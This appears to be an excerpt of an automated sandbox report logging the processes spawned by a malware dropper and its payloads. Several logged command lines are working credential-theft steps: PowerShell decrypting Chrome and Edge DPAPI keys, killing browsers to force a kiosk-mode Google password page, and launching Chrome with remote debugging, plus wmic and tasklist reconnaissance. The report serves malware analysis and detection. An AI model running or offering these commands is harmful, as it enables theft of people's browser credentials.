Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d84bd44db0.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" -c "C:\Users\user\AppData\Local\Temp\1007251001\Data\php-cli.ini" "C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic path win32_videocontroller get caption"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_videocontroller get caption
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Caption"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Version"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Version
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2192 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {393e729a-11a2-4646-ac3b-aeb91fc0d01a} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1177876bd10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe "C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4396 -parentBuildID 20230927232528 -prefsHandle 4388 -prefMapHandle 4384 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcff1d1b-3b14-4d89-bd67-a8febfb9574e} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1170a9fb510 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBGCBAFCGD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBGCBAFCGD.exe "C:\Users\user\DocumentsEBGCBAFCGD.exe"
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe "C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe "C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe "C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe "C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe "C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe "C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" -c "C:\Users\user\AppData\Local\Temp\1007251001\Data\php-cli.ini" "C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic path win32_videocontroller get caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "wmic os get Version"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /s /c "tasklist"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_videocontroller get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Version
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBGCBAFCGD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
